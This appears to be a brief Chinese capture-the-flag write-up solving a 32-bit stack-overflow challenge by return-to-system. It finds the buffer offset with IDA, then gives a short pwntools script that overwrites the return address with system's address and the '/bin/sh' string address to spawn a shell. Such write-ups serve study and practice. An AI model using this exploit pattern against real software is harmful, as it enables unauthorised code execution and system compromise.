先检测文件
我们可以看到没有栈保护,可以利用栈溢出
拖进IDA
先是一个vulnerable_function函数,同时在函数列表中我们可以看到有system函数,我们可以把returnaddress牵引到system函数上,执行/bin/sh语句
buf的偏移量是0x88个字节,花0x04个字节覆盖ebp,然后伪造returnsddress跳转到system,再加上用来给system结束后的返回地址(任意,四个字节就好),然后补上执行语句
在system的HEX区域可以看到/bin/sh语句,那么该语句的地址也就知道了
上脚本
#函数主体
cn.recvuntil("Input:")
#key_addr=0x0804A024
key_addr =bin.search('/bin/sh').next() #"/bin/sh"_address
system_addr=0x08048320
payload='a'*(0x88+0x04)+p32(system_addr)+'a'*0x04+p32(key_addr)
cn.sendline(payload)